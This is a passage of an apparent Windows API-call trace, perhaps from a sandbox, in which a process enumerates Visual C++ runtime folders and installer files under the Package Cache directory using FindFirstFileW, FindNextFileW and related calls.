ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.842] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.842] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.842] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.843] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.843] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.843] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.844] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0217.844] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages", lpFilePart=0x0) returned 0x5c [0217.845] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5650 [0217.845] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ec4518, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ec4518, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.845] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.845] FindNextFileW (in: hFindFile=0x1d1f5650, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.846] FindClose (in: hFindFile=0x1d1f5650 | out: hFindFile=0x1d1f5650) returned 1 [0217.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.846] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0217.846] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.847] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.848] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5b500, ftCreationTime.dwHighDateTime=0x1d5c5bd, ftLastAccessTime.dwLowDateTime=0x4f5b500, ftLastAccessTime.dwHighDateTime=0x1d5c5bd, ftLastWriteTime.dwLowDateTime=0x4f5b500, ftLastWriteTime.dwHighDateTime=0x1d5c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x55f0fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.848] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54d47c00, ftCreationTime.dwHighDateTime=0x1d5c5bd, ftLastAccessTime.dwLowDateTime=0x54d47c00, ftLastAccessTime.dwHighDateTime=0x1d5c5bd, ftLastWriteTime.dwLowDateTime=0x54d47c00, ftLastWriteTime.dwHighDateTime=0x1d5c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.848] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.848] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.848] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", nBufferLength=0x105, lpBuffer=0x1db9d310, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64", lpFilePart=0x0) returned 0x76 [0217.849] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{7D0B74C2-C3F8-4AF1-940F-CD79AB4B2DCE}v14.25.28508\\packages\\vcRuntimeAdditional_amd64\\*" (normalized: "c:\\users\\all users\\package cache\\{7d0b74c2-c3f8-4af1-940f-cd79ab4b2dce}v14.25.28508\\packages\\vcruntimeadditional_amd64\\*"), lpFindFileData=0x1db9d540 | out: lpFindFileData=0x1db9d540*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.849] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69ec4518, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x69ef0491, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x69ef0491, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.849] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f5b500, ftCreationTime.dwHighDateTime=0x1d5c5bd, ftLastAccessTime.dwLowDateTime=0x4f5b500, ftLastAccessTime.dwHighDateTime=0x1d5c5bd, ftLastWriteTime.dwLowDateTime=0x4f5b500, ftLastWriteTime.dwHighDateTime=0x1d5c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x55f0fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0217.849] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54d47c00, ftCreationTime.dwHighDateTime=0x1d5c5bd, ftLastAccessTime.dwLowDateTime=0x54d47c00, ftLastAccessTime.dwHighDateTime=0x1d5c5bd, ftLastWriteTime.dwLowDateTime=0x54d47c00, ftLastWriteTime.dwHighDateTime=0x1d5c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0217.850] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9d500 | out: lpFindFileData=0x1db9d500*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54d47c00, ftCreationTime.dwHighDateTime=0x1d5c5bd, ftLastAccessTime.dwLowDateTime=0x54d47c00, ftLastAccessTime.dwHighDateTime=0x1d5c5bd, ftLastWriteTime.dwLowDateTime=0x54d47c00, ftLastWriteTime.dwHighDateTime=0x1d5c5bd, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0217.850] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9d760) returned 1 [0217.850] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.850] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.852] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.852] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.852] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0217.852] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.853] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpFilePart=0x0) returned 0x52 [0217.853] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.853] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c938406, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.854] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0217.854] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.854] FindClose (in: hFindFile=0x1d1f5590 | out: hFindFile=0x1d1f5590) returned 1 [0217.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0217.854] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.854] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.855] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.856] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.856] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0217.856] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0217.856] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages", lpFilePart=0x0) returned 0x5b [0217.857] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\*" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5590 [0217.857] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9496c7, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9496c7, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.857] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c9496c7, ftCreationTime.dwHighDateTime=0x1d705cc, ftLastAccessTime.dwLowDateTime=0x4c9a8a2e, ftLastAccessTime.dwHighDateTime=0x1d705cc, ftLastWriteTime.dwLowDateTime=0x4c9a8a2e, ftLastWriteTime.dwHighDateTime=0x1d705cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0217.857] FindNextFileW (in: hFindFile=0x1d1f5590, lpFindFileData=0x1db9dcc0 | 